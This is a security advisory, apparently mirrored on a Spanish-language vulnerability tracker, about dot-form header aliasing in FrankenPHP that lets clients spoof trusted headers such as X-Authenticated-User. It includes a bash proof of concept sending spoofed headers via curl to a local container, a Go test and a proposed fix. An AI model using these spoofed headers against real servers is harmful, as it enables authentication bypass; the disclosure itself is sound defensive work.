GHSA-QCRP-8483-F2F2
Authentication Bypass by Spoofing via Dot-Form Header Name Aliasing in FrankenPHP
Texto original en inglés · Ver en español
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-QCRP-8483-F2F2 divulgada · CVSS 8.3 (GitHub) | |
| Remediación | Parche v1.13.0 | github.com/dunglas/frankenphp · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Description
> [!NOTE]
> FrankenPHP 1.12.4 mitigated the underscore form of this issue by bundling
> Caddy 2.11.4, which drops HTTP header fields whose name contains an underscore.
> The dot form described here is *not* covered by that fix and remains
> exploitable in 1.12.7 (both the Caddy server mode and the standalone Go
> library / embedded mode, where Caddy is absent entirely).
---
Overview
FrankenPHP's request-to-superglobal mapping in `cgi.go` (`addHeadersToServer`)
translates HTTP header names into `$_SERVER['HTTP_*']` keys. When building those
keys it rewrites only `-` to `_` (via `internal/phpheaders.GetUnCommonHeader`).
PHP's own `php_register_variable_ex()` then additionally rewrites `.` to `_`
as it registers the variable.
As a result, three distinct wire spellings collapse onto a single `$_SERVER` key:
| Wire header | Go canonical name | `GetUnCommonHeader` result | After PHP `.`→`_` | Final `$_SERVER` key |
|------------------------|--------------------|----------------------------|---------------------|------------------------|
| `X-Forwarded-For` | `X-Forwarded-For` | `HTTP_X_FORWARDED_FOR` | (unchanged) | `HTTP_X_FORWARDED_FOR` |
| `X_forwarded_for` | `X_forwarded_for` | `HTTP_X_FORWARDED_FOR` | (unchanged) | `HTTP_X_FORWARDED_FOR` |
| `X.Forwarded.For` | `X.forwarded.for` | `HTTP_X.FORWARDED.FOR` | `HTTP_X_FORWARDED_FOR` | `HTTP_X_FORWARDED_FOR` |
The bundled Caddy 2.11.4 drops the underscore spelling, but not the
dot spelling. An unauthenticated remote client can therefore send
`X.Forwarded.For`, `X.Authenticated.User`, `X.Api.Key`, etc., and have them land
in `$_SERVER['HTTP_X_FORWARDED_FOR']`, `$_SERVER['HTTP_X_AUTHENTICATED_USER']`,
etc. — byte-for-byte indistinguishable from the legitimate dash-form header that
the application or an upstream proxy trusts.
This is the same class as Traefik CVE-2026-88879 ("ForwardAuth identity spoofing
via dot-form header alias").
---
Affected Location
- File: `cgi.go`
- Function: `addHeadersToServer`
- File: `internal/phpheaders/phpheaders.go`
- Function: `GetUnCommonHeader`
---
Technical Details
`addHeadersToServer` passes the canonical header name through `GetUnCommonHeader`,
which only maps `-` to `_`:
// cgi.go (abridged) — request header → $_SERVER mapping
func addHeadersToServer(ctx context.Context, request *http.Request, trackVarsArray *C.zval) {
for field, val := range request.Header {
if k := commonHeaders[field]; k != nil {
v := strings.Join(val, ", ")
C.frankenphp_register_known_variable(k, toUnsafeChar(v), C.size_t(len(v)), trackVarsArray)
continue
}
k := phpheaders.GetUnCommonHeader(ctx, field)
v := strings.Join(val, ", ")
C.frankenphp_register_variable_safe(toUnsafeChar(k), toUnsafeChar(v), C.size_t(len(v)), trackVarsArray)
}
}// internal/phpheaders/phpheaders.go (abridged) — only '-' is rewritten
var headerNameReplacer = strings.NewReplacer("-", "_")
loader = otter.LoaderFunc[string, string](func(_ context.Context, key string) (string, error) {
return "HTTP_" + headerNameReplacer.Replace(strings.ToUpper(key)) + "\x00", nil
})
func GetUnCommonHeader(ctx context.Context, key string) string {
phpHeaderKey, err := headerKeyCache.Get(ctx, key, loader)
if err != nil {
panic(err)
}
return phpHeaderKey
}PHP then applies the second rewriting step when the value is registered. From
php-src `main/php_variables.c` (`php_register_variable_ex`, PHP 8.3):
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
if (*p == ' ' || *p == '.') {
*p = '_';
} else if (*p == '[') {
/* ... array notation handling ... */
}
}`X.forwarded.for` therefore reaches PHP as the key `HTTP_X.FORWARDED.FOR`, and
PHP mangles the dots into `HTTP_X_FORWARDED_FOR` — colliding with the dash form.
The relevant security decision (Caddy 2.11.4 dropping underscore headers) and the
data interpretation (PHP collapsing `.`/`-`/`_` to `_`) disagree about what
counts as "the same header": that is the interpretation conflict (CWE-436) that
enables spoofing.
The issue is reproducible for every header the application or an upstream
proxy trusts and whose canonical name contains a `-` (e.g. `X-Forwarded-For`,
`X-Forwarded-Proto`, `X-Authenticated-User`, `X-Api-Key`, `X-Request-Id`).
---
Attack Scenario / Reproduction Steps
Prerequisites:
- The PHP application (or an upstream proxy) trusts a dash-form request header
such as `X-Forwarded-For` or `X-Authenticated-User` from `$_SERVER`.
- Attacker needs no account and no special privileges.
Steps:
- Deploy a FrankenPHP app that reads `$_SERVER['HTTP_X_AUTHENTICATED_USER']`
- The trusted proxy writes the real `X-Authenticated-User` value and strips the
- The attacker sends the dot form instead:
- Caddy passes the dot header through (it only filters underscores), FrankenPHP
---
Impact
An unauthenticated remote client can spoof any trusted dash-form header exposed
to PHP through `$_SERVER`. Concrete impacts include:
- Authentication / authorization bypass — spoof `X-Authenticated-User`,
- Client-IP spoofing — spoof `X-Forwarded-For` / `X-Real-Ip`, defeating
- Scheme spoofing — spoof `X-Forwarded-Proto`, causing `https`→`http`
The attacker does not need to know the exact proxy configuration; they only need
a header the application consumes.
---
Proof of Concept
1. End-to-end PoC (Docker, official image)
Save as `poc.sh` and run `bash poc.sh` (requires Docker and network access).
#!/usr/bin/env bash
set -euo pipefail
# FrankenPHP dot-form HTTP header spoofing PoC
# Affected: FrankenPHP <= 1.12.7 (bundled Caddy 2.11.4 filters '_' but not '.')
APP_DIR="$(mktemp -d)"
CONTAINER="fp-poc"
cleanup() { docker rm -f "$CONTAINER" >/dev/null 2>&1 || true; rm -rf "$APP_DIR"; }
trap cleanup EXIT
# --- 1. Minimal PHP target app -----------------------------------------------
cat > "$APP_DIR/index.php" <<'PHP'
<?php
header('Content-Type: text/plain');
foreach ([
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED_PROTO',
'HTTP_X_AUTHENTICATED_USER',
'HTTP_X_API_KEY',
] as $k) {
echo $k . '=' . var_export($_SERVER[$k] ?? null, true) . "\n";
}
PHP
# --- 2. Start the official FrankenPHP image (latest release) ------------------
docker run -d --name "$CONTAINER" -p 18443:443 \
-v "$APP_DIR:/app/public" dunglas/frankenphp:latest >/dev/null
sleep 5
BASE="https://localhost:18443"
echo "=== [1] legitimate dash-form header (works as expected) ==="
curl -4 -sk --max-time 15 -H "X-Forwarded-For: 9.9.9.9" "$BASE/" | grep 'HTTP_X_FORWARDED_FOR'
echo "=== [2] underscore alias (blocked by Caddy 2.11.4) ==="
curl -4 -sk --max-time 15 -H "X_forwarded_for: 1.2.3.4" "$BASE/" | grep 'HTTP_X_FORWARDED_FOR'
echo "=== [3] dot-form alias (NOT blocked => SPOOFED) ==="
curl -4 -sk --max-time 15 -H "X.Forwarded.For: 5.6.7.8" "$BASE/" | grep 'HTTP_X_FORWARDED_FOR'
echo "=== [4] authentication header spoof (Traefik CVE-2026-88879 class) ==="
curl -4 -sk --max-time 15 -H "X.Authenticated.User: admin" "$BASE/" | grep 'HTTP_X_AUTHENTICATED_USER'
echo "=== [5] API-key header spoof ==="
curl -4 -sk --max-time 15 -H "X.Api.Key: secret123" "$BASE/" | grep 'HTTP_X_API_KEY'Expected output:
=== [1] legitimate dash-form header (works as expected) ===
HTTP_X_FORWARDED_FOR='9.9.9.9'
=== [2] underscore alias (blocked by Caddy 2.11.4) ===
HTTP_X_FORWARDED_FOR=NULL
=== [3] dot-form alias (NOT blocked => SPOOFED) ===
HTTP_X_FORWARDED_FOR='5.6.7.8'
=== [4] authentication header spoof (Traefik CVE-2026-88879 class) ===
HTTP_X_AUTHENTICATED_USER='admin'
=== [5] API-key header spoof ===
HTTP_X_API_KEY='secret123'Case `[3]` is the vulnerability: `X.Forwarded.For` populates
`HTTP_X_FORWARDED_FOR` exactly like the legitimate `X-Forwarded-For`, while the
underscore form `[2]` is (correctly) dropped — proving the existing fix is
underscore-only.
2. Code-level PoC (Go test against the real mapping)
The following test calls the actual `internal/phpheaders` code and reproduces
PHP's `.`→`_` mangling, asserting the collision.
package phpheaders
import (
"strings"
"testing"
)
// phpRegisterVariableNameMangle reproduces PHP's php_register_variable_ex()
// name mangling (php-src main/php_variables.c): ' ' and '.' become '_'.
func phpRegisterVariableNameMangle(name string) string {
b := []byte(name)
for i := range b {
if b[i] == '.' {
b[i] = '_'
}
}
return string(b)
}
// finalServerKey mirrors cgi.go addHeadersToServer(): common headers are taken
// verbatim from CommonRequestHeaders; uncommon headers go through
// GetUnCommonHeader() and then PHP's mangling.
func finalServerKey(t *testing.T, canonicalHeaderName string) string {
if phpKey, ok := CommonRequestHeaders[canonicalHeaderName]; ok {
return phpKey
}
phpName := GetUnCommonHeader(t.Context(), canonicalHeaderName)
return phpRegisterVariableNameMangle(strings.TrimSuffix(phpName, "\x00"))
}
func TestHeaderAliasCollision(t *testing.T) {
got := map[string]string{
"X-Forwarded-For": finalServerKey(t, "X-Forwarded-For"),
"X_forwarded_for": finalServerKey(t, "X_forwarded_for"),
"X.forwarded.for": finalServerKey(t, "X.forwarded.for"),
}
if got["X-Forwarded-For"] != got["X_forwarded_for"] {
t.Fatalf("underscore alias mismatch: %q != %q", got["X-Forwarded-For"], got["X_forwarded_for"])
}
if got["X-Forwarded-For"] != got["X.forwarded.for"] {
t.Fatalf("dot alias mismatch: %q != %q", got["X-Forwarded-For"], got["X.forwarded.for"])
}
t.Logf("all three spellings resolve to $_SERVER[%q]", got["X-Forwarded-For"])
}Run:
cd /path/to/frankenphp
go test ./internal/phpheaders/ -run TestHeaderAliasCollision -vOutput:
=== RUN TestHeaderAliasCollision
...: all three header spellings resolve to $_SERVER["HTTP_X_FORWARDED_FOR"]
--- PASS: TestHeaderAliasCollision (0.00s)---
Recommended Fix
Reject header names that alias another header through the CGI/PHP mangling, at
the FrankenPHP layer itself (so the Go-library / embedded mode is covered too,
not only the Caddy server mode).
// internal/phpheaders/phpheaders.go — drop aliasing header names
func IsAliasedHeaderName(name string) bool {
// Caddy 2.11.4 already drops '_'. Reject '.' for the same reason: PHP's
// php_register_variable_ex() rewrites '.' to '_', so "X.Forwarded.For"
// aliases "X-Forwarded-For".
return strings.ContainsAny(name, "._")
}In `addHeadersToServer`, skip headers whose name is aliased:
for field, val := range request.Header {
if phpheaders.IsAliasedHeaderName(field) {
continue
}
// ... existing mapping ...
}Defense-in-depth (Caddy side): extend the underscore filter in Caddy to also
drop header names containing `.`, matching the Traefik fix for the dot form.
---
References
- CWE-290: Authentication Bypass by Spoofing
https://cwe.mitre.org/data/definitions/290.html - CWE-436: Interpretation Conflict
https://cwe.mitre.org/data/definitions/436.html - Traefik GHSA-rf44-j88r-hh8c — ForwardAuth identity spoofing via dot-form header alias
https://github.com/traefik/traefik/security/advisories/GHSA-rf44-j88r-hh8c - CVE-2026-88879 — Authentication Bypass by Spoofing
https://cvetodo.com/cve/CVE-2026-88879 - FrankenPHP v1.12.4 release notes (underscore fix)
https://github.com/php/frankenphp/releases/tag/v1.12.4 - Caddy v2.11.4 release notes (underscore header filtering)
https://github.com/caddyserver/caddy/releases/tag/v2.11.4
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/dunglas/frankenphp |
Corregida | v1.13.0 | 0 d | v1.13.6 no afectada |
v1.13.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/php/frankenphp/security/advisories/GHSA-qcrp-8483-f2f2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
